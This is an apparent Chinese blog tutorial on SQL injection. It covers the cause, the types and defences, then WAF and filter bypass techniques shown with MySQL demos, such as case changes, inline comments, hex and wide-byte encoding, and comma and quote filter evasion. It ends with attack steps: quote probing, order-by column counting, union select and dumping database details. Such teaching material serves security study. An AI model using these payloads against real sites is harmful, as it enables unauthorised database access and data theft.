sql注入漏洞

一、漏洞原理

在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。

⛔一句话概括:注入产生的原因是接受相关参数未经过滤直接带入数据库查询操作。

二、类型

按照提交方式分类

GET型注入、POST型注入、cookie注入、http头注入

按照注入类型分类

数字型注入、字符型注入、搜索型注入

按照执行效果分类

布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入、宽字节注入、base64注入

三、防御方式

  • 通过使用静态和动态测试,定期检查并发现应用程序中的SQL注入漏洞。
  • 通过使用参数化查询和对象关系映射(Object Relational Mappers,ORM),来避免和修复注入漏洞。此类查询通过指定参数的占位符,以便数据库始终将它们视为数据,而非SQL命令的一部分。
  • 使用转义字符,来修复SQL注入漏洞,以便忽略掉一些特殊字符。
  • 通过对数据库强制执行最小权限原则,来减缓SQL注入漏洞的影响。籍此,应用程序的每一个软件组件都只能访问、并仅影响它所需要的资源。
  • 对访问数据库的Web应用程序采用Web应用防火墙(Web Application Firewall,WAF)。这有助于识别出针对SQL注入的各种尝试,进而防止此类尝试作用到应用程序上。

四、绕过方式

sql注入绕过方法总结
常用函数:

database():数据库名

desc():结构

@@datadir:路径

table():表名

columns():列名

limit():返回结果中的前几条数据或者中间的数据

group_concat():分组拼接函数

rand():返回0~1的随机数

floor():向下取整

substr():截取字符串

ascii():返回字符串的ascii码

1.注释符绕过

常用注释符:

-- 注释内容
# 注释内容
/*注释内容*/
;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WU2qG4zc-1660203956419)(C:\Users\George\AppData\Roaming\Typora\typora-user-images\image-20220721152039637.png)]

2.大小写绕过

例如:waf过滤了关键字select,可以用Select绕过

mysql> select * from users where id = -1 union select 1,2,3
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

#大小写绕过
mysql> select * from users where id = -1 union Select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

3.内联注释绕过

内敛注释----把一些仅在MySQL上的语句放在/*!...*/中,这些语句只在MySQL中执行,在其他数据库中不会执行。

mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

4.双写关键字绕过

在一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时就可以用双写绕过。例如:将select变成selectselect进行绕过

5.特殊编码绕过

  • 十六进制绕过

    mysql> select * from users where username = 0x7465737431;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    
    
  • ASCII码绕过

    Test等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

6.空格过滤绕过

用以下几种方法取代空格

#         /**/                   select/**/*/**/from/**/users;
#          ()                    select(id)from(users);
#        回车(url编码中的%0a)      
         mysql> select
             -> *
             -> from 
             -> users
             -> where 
             -> id = 1;
#        `(tap键上面的按钮)        select`id`from`users`where`id`=1;
#        tap
#        两个空格

7.过滤 or and xor not绕过

and = &&
or = ||
xor = | # 异或
not = !

8.过滤等号=绕过

  • 不加通配符的**like**执行的效果和=一致,所以可以用来绕过。

    正常加上通配符的like

    mysql> select * from users where username like "test%";
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    |  3 | test3    | pass1    |
    +----+----------+----------+
    

    不加上通配符的like可以用来取代=

    mysql> select * from users where id like 1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    
  • rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
    用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

  • regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

    mysql> select * from users where id regexp 1;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    
  • 使用大小于号来绕过

    mysql> select * from users where id > 1 and id < 3;
    
  • <> 等价于 !=,所以在前面再加一个!结果就是等号了

    select * from users where !(id <> 1);
    

9.过滤大小于号绕过

  • greatest(n1, n2, n3…):返回n中的最大值

    mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    #substr(str,pos,len)
    1.str为列名/字符串
    2.pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
    3.len为截取字符个数/长度。
    
  • least(n1,n2,n3…):返回n中的最小值

  • strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

    mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
    Empty set (0.00 sec)
    
  • in关键字

    mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    1 row in set (0.01 sec)
    
    mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
    Empty set (0.00 sec)
    
  • between a and b:范围在a-b之间

    mysql> select * from users where id between 1 and 2;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    |  2 | user2    | pass1    |
    +----+----------+----------+
    2 rows in set (0.00 sec)
    
    mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
    Empty set (0.00 sec)
    
    mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | test1    | pass     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    

10.过滤引号绕过

  • 使用十六进制

    select column_name  from information_schema.tables where table_name=0x7573657273;
    
  • 宽字节

    常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。

    # 过滤单引号时
    %bf%27 %df%27 %aa%27
    
    %df\’ = %df%5c%27=縗’
    

11.过滤逗号绕过

sql盲注时常用到以下的函数:

  • substr()

    • substr(string, pos, len):从pos开始,取长度为len的子串
    • substr(string, pos):从pos开始,取到string的最后
  • substring()

    • 用法和substr()一样
  • mid()

    • 用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
  • left()right()

    • left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
  • limit(pos,len)

    • 在返回项中从pos开始取len个返回值,pos从0开始
  • ascii()char()

    • ascii(char):把char这个字符转为ascii码
    • char(ascii_int):和ascii()的作用相反,将ascii码转字符
  • 过滤逗号-------用 from pos for len取代

     select substr("string",1,3);
     select substr("string" from 1 for 3);
    
  • join关键字绕过

    select * from users union select 1,2,3;
    select * from users union select * from (select 1)a join (select 2)b join(select 3)c;
    
  • 使用like关键字

    适用于substr()等提取子串的函数中的逗号

select ascii(substr(user(),1,1))=114;
select user() like "r%";
  • 使用offset关键字

    适用于limit中的逗号被过滤的情况
    limit 2,1等价于limit 1 offset 2

    select * from users limit 2,1;
    select * from users limit 1 offset 2;
    

12.过滤函数绕过

  • sleep() —> benchmark()

    benchmark(count,expr)
    # 重复计算expr表达式count次,返回值始终为0,可通过客户端提示的执行时间来得到benchmark执行所消耗的时间
    
    mysql> select 12,23 and sleep(1);
    +----+-----------------+
    | 12 | 23 and sleep(1) |
    +----+-----------------+
    | 12 |               0 |
    +----+-----------------+
    1 row in set (1.00 sec)
    #####################################################
    mysql> select 12,23 and benchmark(1000000000,1);
    +----+--------------------------------+
    | 12 | 23 and benchmark(1000000000,1) |
    +----+--------------------------------+
    | 12 |                              0 |
    +----+--------------------------------+
    1 row in set (4.61 sec)
    
  • ascii() —> hex()、bin()

    替代之后再使用对应的进制转string即可

  • group_concat() —> concat_ws()

    mysql> select group_concat("str1","str2");
    +-----------------------------+
    | group_concat("str1","str2") |
    +-----------------------------+
    | str1str2                    |
    +-----------------------------+
    1 row in set (0.00 sec)
    
    #第一个参数为分隔符
    mysql> select concat_ws(",","str1","str2");
    +------------------------------+
    | concat_ws(",","str1","str2") |
    +------------------------------+
    | str1,str2                    |
    +------------------------------+
    
    
  • substr(),substring(),mid()可以相互取代,取子串的函数还有left(),right()

  • user() —> @@user、datadir —> @@datadir

  • ord() —> ascii() :这两个函数在处理英文时效果一样,但处理中文时不一样

SQL注入步骤

  1. 寻找,判断注入类型:
  • 可能脆弱点___一切有可能与数据库有交互的地方

:注册;加购物车、购买;新增地址;······

:删除地址;······

:修改密码;修改联系方式、地址;······

:搜索;修改密码前查询用户是否存在;各种查询功能;······

  • 通用姿势:
    • 在参数后面加单引号双引号,判断返回结果是否有报错------>报错---->存在sql注入
    • 参数(id)是数字,测试id=2-1id=1返回的结果是否相同,如果做了2-1=1的运算,说明可能存在数字型注入(做**+号运算,要改为%2B**,如id=1%2B1
    • 参数后面跟or 或者and,判断返回结果是否有变化,如1’ or ‘a’='a 或者and ‘a’='a或者1’ or ‘a’='b或者1’ or ‘1’='2
    • 添加注释符【#–+(+号为空格),//】,判断前后是否有报错,如id=1’ --+** 或 id=1" --+id=1’ #id=1" --+
    • 用sqlmap跑,跑不出来则没有sql注入
  1. 猜解字段数
    主要利用order by,对半查找,判断字段数目

?id=1’ order by 1 --+ 此时页面正常,
继续换更大的数字测试**?id=1’ order by 10 --+** 此时页面返回错误,
更换小的数字测试**?id=1’ order by 5 --+** 此时页面依然报错,
继续缩小数值测试**?id=1’ order by 3 --+** 此时页面返回正常,
更换大的数字测试**?id=1’ order by 4 --+**
此时页面返回错误,3正常,4错误,说明字段数目就是 3

  1. 确定显示位(联合查询)
    在链接后面添加语句 **union select 1,2,3,4,5,6,7,8,9,10,11#**进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的子列号
  2. 获取数据库信息(库名,表名,字段名,数据)

利用内置函数暴数据库信息
version()-------------MySQL版本;
database()----------数据库名;
user()-----------------数据库用户名;
@@datadir---------数据库路径;
@@version_compile_os---------操作系统版本

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值